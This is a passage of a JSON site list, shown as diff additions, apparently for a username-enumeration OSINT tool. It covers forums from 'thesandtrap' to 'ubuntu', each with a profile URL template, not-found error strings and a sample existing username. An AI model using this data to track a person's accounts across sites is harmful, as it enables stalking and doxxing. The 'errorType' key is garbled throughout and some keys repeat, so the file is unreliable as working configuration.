"country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + "urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": "etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "bad_site": "" + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": 